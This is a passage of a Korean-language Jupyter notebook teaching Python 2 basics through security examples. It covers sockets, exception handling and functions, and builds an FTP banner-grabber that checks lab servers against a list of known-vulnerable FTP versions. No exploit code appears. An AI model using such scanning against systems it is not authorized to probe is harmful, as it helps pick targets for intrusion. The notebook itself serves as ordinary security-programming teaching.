        "\u001b[0;32m<ipython-input-70-8d3d8637cb4b>\u001b[0m in \u001b[0;36m<module>\u001b[0;34m()\u001b[0m\n\u001b[0;32m----> 1\u001b[0;31m \u001b[0mt\u001b[0m\u001b[0;34m[\u001b[0m\u001b[0;36m0\u001b[0m\u001b[0;34m]\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0;36m5\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m",
        "\u001b[0;31mTypeError\u001b[0m: 'tuple' object does not support item assignment"
       ]
      }
     ],
     "prompt_number": 70
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "# \uc804\uccb4\ub294 list\n",
      "type(services.items())"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 71,
       "text": [
        "list"
       ]
      }
     ],
     "prompt_number": 71
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "# \uadf8 \uc548\uc5d0 \uc694\uc18c\ub4e4\uc740 tuple\n",
      "type(services.items()[0])"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 72,
       "text": [
        "tuple"
       ]
      }
     ],
     "prompt_number": 72
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "services.items()[0]"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 73,
       "text": [
        "('ftp', 21)"
       ]
      }
     ],
     "prompt_number": 73
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "# key\uac12\uc73c\ub85c \uc811\uadfc \uac00\ub2a5\n",
      "services['ftp']"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 74,
       "text": [
        "21"
       ]
      }
     ],
     "prompt_number": 74
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "# \uc544\uae4c\uc640 \ub611\uac19\uc9c0\ub9cc services \ub77c\ub294 dictionary\ub97c \ud65c\uc6a9\ud558\ub2c8 \n",
      "# ftp\ub77c\ub294 name\ub9cc \uc54c\uba74 port\ub97c \uc790\ub3d9\uc73c\ub85c \ub123\uc744 \uc218\uac00 \uc788\ub2e4.\n",
      "print '[+] Found vuln with FTP on port ' + str(services['ftp'])"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "[+] Found vuln with FTP on port 21\n"
       ]
      }
     ],
     "prompt_number": 75
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "slide"
      }
     },
     "source": [
      "### \ub124\ud2b8\uc6cc\ud06c\n",
      "\n",
      "- \uc18c\ucf13 \ubaa8\ub4c8\uc5d0\uc11c \uc81c\uacf5\ud558\ub294 \ub77c\uc774\ube0c\ub7ec\ub9ac\ub97c \ud1b5\ud574 \ud30c\uc774\uc36c\uc73c\ub85c \ub124\ud2b8\uc6cc\ud06c\uc5d0 \uc5f0\uacb0 \uac00\ub2a5\n",
      "- \ubc30\ub108\ub97c \uac00\uc838\uc624\ub294 \uc2a4\ud06c\ub9bd\ud2b8\ub97c \ud55c \ubc88 \ub9cc\ub4e4\uc5b4 \ubcf4\uc790.\n",
      "- \uc774 \uc2a4\ud06c\ub9bd\ud2b8\ub294 \ud2b9\uc815 IP \uc8fc\uc18c\uc640 TCP \ud3ec\ud2b8\ub85c \uc5f0\uacb0\ud55c \ub2e4\uc74c\uc5d0 \ud574\ub2f9 IP\uc640 \ud3ec\ud2b8\uc5d0 \uc788\ub294 \uc11c\ube44\uc2a4\uc758 \ubc30\ub108\ub97c \ucd9c\ub825\ud55c\ub2e4."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "import socket"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [],
     "prompt_number": 76
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "socket.setdefaulttimeout(5)"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [],
     "prompt_number": 114
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "socket.setdefaulttimeout?"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [],
     "prompt_number": 78
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "# socket \ud074\ub798\uc2a4\ub85c\ubd80\ud130 \uc0c8\ub85c\uc6b4 \ubcc0\uc218 s \uc0dd\uc131\n",
      "s = socket.socket()"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [],
     "prompt_number": 115
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "my_local_ftp = '172.16.190.128'"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "skip"
      }
     },
     "outputs": [],
     "prompt_number": 116
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "skip"
      }
     },
     "source": [
      "#### NAT, Bridge \ucc28\uc774\ub294 \uac80\uc0c9\ud574 \ubcf4\uc138\uc694."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "my_local_ftp = '192.168.32.159'"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [],
     "prompt_number": 117
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "# ftp \uc11c\ubc84\ub85c \uc811\uc18d\n",
      "# \ucc45\uc5d0\ub294 s.connect(('172.16.190.128', 21))\ub85c \uc368\uc838 \uc788\ub294\ub370 \ud56d\uc0c1 \ubcc0\uc218\ub97c \uc4f0\ub294 \uc2b5\uad00\uc744 \uac16\uc790.\n",
      "s.connect((my_local_ftp, 21))"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [],
     "prompt_number": 118
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "source": [
      "<img src=\"files/images/quiz.png\" />\n",
      "#### Quiz\n",
      "\n",
      "- Why? ip\uc640 port\ub97c \ub118\uae30\uba74 \ub124\ud2b8\uc6cc\ud06c\uac00 \uc5f0\uacb0\uc774 \ub420\uae4c?"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "skip"
      }
     },
     "source": [
      "- [OSI 7 Layer](http://beansberries.tistory.com/entry/%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-OSI-7-%EA%B3%84%EC%B8%B5): \uc57d\uac04 \uc124\uba85\uc774 \ub09c\ud574\ud558\uc9c0\ub9cc \ubcfc\ub9cc\ud568\n",
      "- [OSI 7 Layer](http://blog.naver.com/PostView.nhn?blogId=cowboy2238&logNo=140150616332): \uc0ac\uacfc \uadf8\ub9bc\uc73c\ub85c \uc774\ud574 \uc26c\uc6c0\n",
      "- [\\[OSI 7 Layer\\] \ub124\ud2b8\uc6cc\ud06c\uc758 \uae30\ubcf8, \ub124\ud2b8\uc6cc\ud06c\uc758 \uaf43](http://netpi.tistory.com/entry/OSI-7-Layer-%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC%EC%9D%98-%EA%B8%B0%EB%B3%B8-%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC%EC%9D%98-%EA%BD%83): \uac04\ub2e8\ud558\uac8c \ud575\uc2ec\ub9cc \uc798 \uc815\ub9ac\n",
      "- [\uc778\ud130\ub137 - TCP/IP - OSI 7 \uacc4\uce35 \uac1c\ub7b5 - \ub124\ud2b8\uc6cc\ud06c \ud574\ud0b9 \uac1c\ub7b5](http://blog.daum.net/jty71/15645337): \uc815\ub9ac\ub97c \uc798\ud574\ub193\uc74c. \ud558\ub098\uc529 \ucd94\uc801 \uac00\ub2a5"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "source": [
      "#### IP, Port \uc911\uc2ec \uc124\uba85\n",
      "\n",
      "<img src=\"files/images/ip_port.png\" />"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "source": [
      "- \uce74\uce74\uc624\uc640 \ub124\uc774\ud2b8\uc628\uc774 \uc11c\ub85c \uba54\uc2dc\uc9c0\ub97c \uc8fc\uace0 \ubc1b\ub294 \ud504\ub85c\uadf8\ub7a8\uc774\ub2e4.\n",
      "- IP\ub9cc \ubd10\uc11c\ub294 \uc5b4\ub5a4 \ud504\ub85c\uadf8\ub7a8\uc73c\ub85c \uba54\uc2dc\uc9c0\ub97c \uc804\ub2ec\ud574 \uc918\uc57c \ud558\ub294\uc9c0 \ubaa8\ub985\ub2c8\ub2e4.\n",
      "- \uadf8\ub798\uc11c Port \ubc88\ud638\ub97c \uc801\uc5b4\uc8fc\uba74 \uc5b4\ub5a4 \ud504\ub85c\uadf8\ub7a8\uc73c\ub85c \uba54\uc2dc\uc9c0\ub97c \uc804\ub2ec\ud574\uc918\uc57c \ud569\ub2c8\ub2e4."
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "source": [
      "#### \ub610 \ub2e4\ub974\uac8c \uc0dd\uac01\ud574 \ubcfc \uc218 \uc788\ub294 \uac83\ub4e4\n",
      "\n",
      "- Port\uac00 \uc5c6\uc744 \ub54c \uc5b4\ub5a4 \ubb38\uc81c\uac00 \ubc1c\uc0dd\ud560 \uc218 \uc788\uc744\uae4c\uc694?\n",
      "- Port\ub294 \uc65c 65535 \uae4c\uc9c0 \ubc16\uc5d0 \uc5c6\uc744\uae4c\uc694?\n",
      "- Port\ub97c 65535\uae4c\uc9c0 \ub2e4 \uc4f0\uba74 \uc5b4\ub5bb\uac8c \ub418\ub098\uc694?"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "!telnet 192.168.32.159 21"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "Trying 192.168.32.159...\r\n",
        "Connected to 192.168.32.159.\r\n",
        "Escape character is '^]'.\r\n",
        "220 FreeFloat Ftp Server (Version 1.00)\r\n"
       ]
      },
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "^C\r\n"
       ]
      }
     ],
     "prompt_number": 119
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "ans = s.recv(1024)"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [],
     "prompt_number": 120
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "print ans"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "220 FreeFloat Ftp Server (Version 1.00)\r\n",
        "\n"
       ]
      }
     ],
     "prompt_number": 121
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "slide"
      }
     },
     "source": [
      "### \uc120\ud0dd\ubb38\n",
      "\n",
      "- \uc870\uac74\uc801 \uc120\ud0dd\ubb38\n",
      "- if: \ub17c\ub9ac\uc801 \ud45c\ud604\uc744 \ud3c9\uac00\ud558\uc5ec \uadf8 \ud3c9\uac00\uc758 \uacb0\uacfc\uc5d0 \ub530\ub77c \ub2e4\uc74c\uc5d0 \ubb34\uc5c7\uc744 \ud560\uc9c0 \uacb0\uc815\ud558\uae30 \uc704\ud574 \uc874\uc7ac\n",
      "- \uc5b4\ub5a4 FTP \uc11c\ubc84\uac00 \uacf5\uaca9\uc5d0 \ucde8\uc57d\ud55c\uc9c0 \uc54c\uace0 \uc2f6\uc744\uac83\n",
      "- \uc774\ubbf8 \uc54c\ub824\uc9c4 \ucde8\uc57d\ud55c FTP \uc11c\ubc84 \ubc84\uc804\uacfc \uacb0\uacfc\uac12\uc744 \ube44\uad50\ud560 \uac83"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "ans"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 122,
       "text": [
        "'220 FreeFloat Ftp Server (Version 1.00)\\r\\n'"
       ]
      }
     ],
     "prompt_number": 122
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "'FreeFloat Ftp Server (Version 1.00)' in ans"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 123,
       "text": [
        "True"
       ]
      }
     ],
     "prompt_number": 123
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "'FreeFloat Ftp Server (Version 1.00)2' in ans"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 124,
       "text": [
        "False"
       ]
      }
     ],
     "prompt_number": 124
    },
    {
     "cell_type": "code",
     "collapsed": true,
     "input": [
      "# \uc790.. if, elif, else\ubb38\uc774\ub2e4.\n",
      "# \ubb54\uac00 \ub611\uac19\uc740\uac8c \ubc18\ubcf5\uc774 \ub418\ub294\uac8c \ub290\uaef4\uc9c4\ub2e4..\n",
      "\n",
      "if ('FreeFloat Ftp Server (Version 1.00)' in ans):\n",
      "    print '[+] FreeFloat FTP Server is vulnerable.'\n",
      "elif ('3Com 3CDaemon FTP Server Version 2.0' in ans):\n",
      "    print '[+] 3CDaemon FTP Server is vulnerable.'\n",
      "elif ('Ability Server 2.34' in ans):\n",
      "    print '[+] Ability FTP Server is vulnerable.'\n",
      "elif ('Sami FTP Server 2.0.2' in ans):\n",
      "    print '+] Sami FTP Server is vulnerable.'\n",
      "else:\n",
      "    print '[-] FTP Server is not vulnerable.'"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "[+] FreeFloat FTP Server is vulnerable.\n"
       ]
      }
     ],
     "prompt_number": 125
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "slide"
      }
     },
     "source": [
      "### \uc608\uc678 \ucc98\ub9ac\n",
      "\n",
      "- \ud504\ub85c\uadf8\ub798\uba38\uac00 \uad6c\ubb38\uc801\uc73c\ub85c \uc624\ub958\uac00 \uc5c6\ub294 \ud504\ub85c\uadf8\ub7a8\uc744 \uac1c\ubc1c\ud55c\ub2e4\uace0 \ud558\ub354\ub77c\ub3c4, \ud504\ub85c\uadf8\ub7a8\uc740 \ub7f0\ud0c0\uc784\uc774\ub098 \uc2e4\ud589 \uc911\uc5d0 \uc624\ub958\uac00 \ubc1c\uc0dd\ud560 \uc218 \uc788\uc74c\n",
      "- \uc22b\uc790\ub97c 0\uc73c\ub85c \ub098\ub204\ub294 \uac83\uc774 \ub300\ud45c\uc801"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "print 1337/0"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "ename": "ZeroDivisionError",
       "evalue": "integer division or modulo by zero",
       "output_type": "pyerr",
       "traceback": [
        "\u001b[0;31m---------------------------------------------------------------------------\u001b[0m\n\u001b[0;31mZeroDivisionError\u001b[0m                         Traceback (most recent call last)",
        "\u001b[0;32m<ipython-input-126-9d0ad8dd7974>\u001b[0m in \u001b[0;36m<module>\u001b[0;34m()\u001b[0m\n\u001b[0;32m----> 1\u001b[0;31m \u001b[0;32mprint\u001b[0m \u001b[0;36m1337\u001b[0m\u001b[0;34m/\u001b[0m\u001b[0;36m0\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m",
        "\u001b[0;31mZeroDivisionError\u001b[0m: integer division or modulo by zero"
       ]
      }
     ],
     "prompt_number": 126
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "source": [
      "- \ud558\uc9c0\ub9cc \uc2e4\ud589\uc911\uc778 \ud504\ub85c\uadf8\ub7a8\uc774\ub098 \uc2a4\ud06c\ub9bd\ud2b8\uc5d0\uc11c \uc774 \uc624\ub958\ub97c \ucc98\ub9ac\ud558\uace0 \uc2f6\ub2e4\uba74 \uc5b4\ub5bb\uac8c \ud574\uc57c \ud560\uae4c?\n",
      "- \uc774\ub7ec\ud55c \uc791\uc5c5\uc744 \ud558\uae30 \uc704\ud574 \uc608\uc678 \ucc98\ub9ac \uae30\ub2a5 \uc81c\uacf5"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "skip"
      }
     },
     "source": [
      "-----"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "source": [
      "- \uc989, \ud504\ub85c\uadf8\ub7a8\uc758 \uc2e4\ud589\uc744 \ud750\ub984\uc744 \uc911\uac04\uc5d0 \ub04a\uc9c0 \uc54a\uace0 \ud504\ub85c\uadf8\ub7a8\uc744 \uc774\uc5b4\uac00\uac8c \ud574\uc57c\ud55c\ub2e4."
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "source": [
      "- \ucd08\ubcf4 \uc2dc\uc808\uc5d0\ub294 \uc608\uc678 \ucc98\ub9ac\uac00 \uad49\uc7a5\ud788 \uc5b4\ub824\uc6cc \ubcf4\uc778\ub2e4. \ub098\ub294 \ub17c\ub9ac\uc801\uc73c\ub85c \ucef4\ud4e8\ud130 \uce5c\ud654\uc801\uc73c\ub85c \uc18c\uc2a4\ub97c \uc9f0\ub294\ub370 \uc608\uc0c1 \ubabb\ud588\ub358 \uc5d0\ub7ec\ub97c \ub0b4\ubc49\ub294\ub2e4. \uadf8\ub7fc \uc798 \ub3cc\ub358 \ud504\ub85c\uadf8\ub7a8\uc774 \uc8fd\uc5b4\uc11c \uadf8\ub54c\uae4c\uc9c0 \uc791\uc5c5\ud588\ub358 \ub0b4\uc6a9\ub4e4\uc774 \ubaa8\ub450 \uc18c\uc2e4\ub418\uc5c8\ub358 \uae30\uc5b5\uc774 \uc788\ub2e4. "
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "source": [
      "- \uc774\ub54c \uaf3c\uc218\ub85c 1\ub9cc\ubc88 \ub3cc\uc558\uc744 \ub54c \ud558\ub4dc\ub85c \uc800\uc7a5 \uc2dc\ud0a4\uae30, \uc608\uc678 \ucc98\ub9ac \ud558\uae30\ub97c \uc0ac\uc6a9\ud588\ub2e4. \uc608\uc678\ucc98\ub9ac \uac1c\ub150\uc740 \uc774\ud574\ud558\ub294\ub370 \uc5b4\ub835\uc9c0 \uc54a\uc740\ub370 \uc2e4\uc804\uc5d0\uc11c \uc0ac\uc6a9\ud558\ub824\uba74 \uaf2d \ub0b4 \ub9c8\uc74c\ucc98\ub7fc \uc548\ub418\ub354\ub77c. "
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "source": [
      "- \uc790\uc8fc \uc0ac\uc6a9\ud574\ubcf4\uace0 \uc5b4\ub5a4 \uacf3\uc5d0\uc11c \uc5d0\ub7ec\uac00 \ubc1c\uc0dd\ud560 \uac83\uc778\uac00? \ub97c \ud56d\uc0c1 \uc0dd\uac01\ud558\uba74\uc11c \ud504\ub85c\uadf8\ub7a8\uc744 \uc9dc\uc57c\ub41c\ub2e4."
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "skip"
      }
     },
     "source": [
      "------"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "# ZeroDivisionError\uac00 \uc548 \ub728\uace0 except \ucc98\ub9ac\ub418\uc5b4 \uc5d0\ub7ec \uba54\uc2dc\uc9c0\uac00 \ucd9c\ub825\ub41c\uac78 \ud655\uc778\ud560 \uc218 \uc788\ub2e4.\n",
      "try:\n",
      "    print '[+] 1337 / 0 = ' + str(1337 / 0)\n",
      "except:\n",
      "    print '[-] Error.'"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "[-] Error.\n"
       ]
      }
     ],
     "prompt_number": 127
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "source": [
      "- \ud558\uc9c0\ub9cc \uc774\ub7ec\ud55c \ubc29\ubc95\uc744 \uc0ac\uc6a9\ud558\uba74 **\uc2e4\uc81c\ub85c \uc5b4\ub5a4 \uc624\ub958\ub85c \uc778\ud574 \ubb38\uc81c\uac00 \ubc1c\uc0dd\ud588\ub294\uc9c0 \ud655\uc778\ud558\uae30 \ud798\ub4ec**\n",
      "- \uc2e4\uc81c\ub85c \uc5b4\ub5a4 \uc624\ub958\uac00 \ubc1c\uc0dd\ud588\ub294\uc9c0 \uc0ac\uc6a9\uc790\uc5d0\uac8c \uc624\ub958 \uba54\uc2dc\uc9c0\ub97c \ud45c\uc2dc\ud558\uba74 \ub354 \uc720\uc6a9\ud558\uac8c \uc0ac\uc6a9 \uac00\ub2a5\n",
      "- e\ub77c\ub294 \ubcc0\uc218\ub97c \ub9cc\ub4e4\uc5b4\uc11c \uc624\ub958 \ub0b4\uc6a9\uc744 \uc800\uc7a5\ud558\uc5ec \ub098\uc911\uc5d0 \ucd9c\ub825 \uac00\ub2a5\n",
      "- \uc774 \ubcc0\uc218\ub294 \uba85\ud655\ud558\uac8c \ud0c0\uc785\uc744 \ubb38\uc790\uc5f4\ub85c \uc9c0\uc815"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "# Exception, e\ub97c \ucd94\uac00\ud568\uc73c\ub85c\uc368 \uc5b4\ub5a4 \uc624\ub958 \uba54\uc2dc\uc9c0\uac00 \ubc1c\uc0dd\ud588\ub294\uc9c0 \uc54c\ub824\uc90c\n",
      "try:\n",
      "    print '[+] 1337/0 = ' + str(1337/0)\n",
      "except Exception, e:\n",
      "    print '[-] Error = ' + str(e)"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "[-] Error = integer division or modulo by zero\n"
       ]
      }
     ],
     "prompt_number": 128
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "skip"
      }
     },
     "source": [
      "- \uc774\uc81c \uc608\uc678 \ucc98\ub9ac\ub97c \uc0ac\uc6a9\ud558\uc5ec \ubc30\ub108 \uc2a4\ud06c\ub9bd\ud2b8\ub97c \uc5c5\ub370\uc774\ud2b8 \ud574\ubcf4\uc790.\n",
      "- \uc608\uc678 \ucc98\ub9ac \uae30\ub2a5\uc744 \ub124\ud2b8\uc6cc\ud06c \uc5f0\uacb0 \ucf54\ub4dc\uc5d0 \ucd94\uac00\ud560 \uac83"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "source": [
      "#### Quiz\n",
      "\n",
      "- \uc624\ub958\uac00 \ub0a0\ub9cc\ud55c \uacf3\uc740 \uc5b4\ub514\uc778\uac00?"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "import socket\n",
      "socket.setdefaulttimeout(2)\n",
      "s = socket.socket()\n",
      "try:\n",
      "    s.connect(('1.1.1.1', 21))\n",
      "except Exception, e:\n",
      "    print '[-] Error = ' + str(e)"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "[-] Error = timed out\n"
       ]
      }
     ],
     "prompt_number": 129
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "source": [
      "- \ub2e4\uc591\ud55c \uac1c\ub150\uc5d0 \ub300\ud574 \uba85\ud655\ud558\uac8c \uc124\uba85\ud558\uae30 \uc704\ud574\uc11c \ucd5c\uc18c\ud55c\uc758 \uc608\uc678 \ucc98\ub9ac\ub97c \uc801\uc6a9\n",
      "- \uc18c\uc2a4 \uc2a4\ud06c\ub9bd\ud2b8\ub97c \ub2e4\uc6b4 \ubc1b\uc544 \ub354 \uac15\ub825\ud55c \uc608\uc678 \ucc98\ub9ac \uae30\ub2a5\uc744 \ud3ec\ud568\uc2dc\ucf1c\ub3c4 \uc88b\uc74c"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "slide"
      }
     },
     "source": [
      "### \ud568\uc218\n",
      "\n",
      "- \ud568\uc218: \uc5ec\ub7ec \ubc88 \uc7ac\uc0ac\uc6a9\ud560 \uc218 \uc788\ub294 \ucf54\ub4dc \ube14\ub85d\uc744 \ub9cc\ub4e0\ub2e4.\n",
      "- \ud504\ub85c\uadf8\ub798\uba38\ub294 \ud568\uc218\ub97c \ud1b5\ud574 \ud558\ub098\uc758 \uc5f0\uad00\ub41c \ud65c\ub3d9\uc744 \ud558\ub294 \ucf54\ub4dc\ub97c \ube14\ub85d\uc73c\ub85c \uc791\uc131\ud560 \uc218 \uc788\uac8c \ub428\n",
      "- \ub0b4\uc7a5 \ud568\uc218\ub3c4 \ub9ce\uc74c\n",
      "- \ud504\ub85c\uadf8\ub798\uba38\ub3c4 \uc9c1\uc811 \ud568\uc218\ub97c \ub9cc\ub4e4 \uc218 \uc788\uc74c"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "# FTP \uc11c\ubc84\uc5d0 \uc5f0\uacb0\ud558\uc5ec \ubc30\ub108\ub97c \ubc18\ud658\ud558\ub294 \ud568\uc218\n",
      "\n",
      "import socket\n",
      "\n",
      "def retBanner(ip, port):\n",
      "    try:\n",
      "        socket.setdefaulttimeout(2)\n",
      "        s = socket.socket()\n",
      "        s.connect((ip, port))\n",
      "        banner = s.recv(1024)\n",
      "        return banner\n",
      "    except:\n",
      "        return\n",
      "    \n",
      "def main():\n",
      "    ip1 = '192.168.32.159'\n",
      "    ip2 = '172.16.190.129'\n",
      "    port = 21\n",
      "    banner1 = retBanner(ip1, port)\n",
      "    if banner1:\n",
      "        print '[+] ' + ip1 + ': ' + banner1\n",
      "    banner2 = retBanner(ip2, port)\n",
      "    if banner2:\n",
      "        print '[+] ' + ip2 + ': ' + banner2\n",
      "\n",
      "if __name__ == '__main__':\n",
      "    main()"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "[+] 192.168.32.159: 220 FreeFloat Ftp Server (Version 1.00)\r\n",
        "\n"
       ]
      }
     ],
     "prompt_number": 130
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "source": [
      "#### PyCharm\uc73c\ub85c debugging \uc2e4\uc2b5"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "banner2 = None\n",
      "print banner2"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "None\n"
       ]
      }
     ],
     "prompt_number": 131
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "if banner2:\n",
      "    print 'I have a True'\n",
      "else:\n",
      "    print 'I have a False'"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "I have a False\n"
       ]
      }
     ],
     "prompt_number": 132
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "source": [
      "<img src=\"files/images/quiz.png\" />\n",
      "#### Quiz\n",
      "\n",
      "- if \\_\\_name\\_\\_ == '\\_\\_main\\_\\_': \uc740 \ubb34\uc2a8 \ub73b\uc77c\uae4c?\n",
      "- [What does 'if \\_\\_name\\_\\_ == '\\_\\_main\\_\\_':](http://stackoverflow.com/questions/419163/what-does-if-name-main-do)\n",
      "- [Import a module from a relative path](http://stackoverflow.com/questions/279237/import-a-module-from-a-relative-path)"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "%%writefile main_test.py\n",
      "def main():\n",
      "    print 'echo: __name__ is', __name__\n",
      "\n",
      "main()"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "Writing main_test.py\n"
       ]
      }
     ],
     "prompt_number": 239
    },
    {
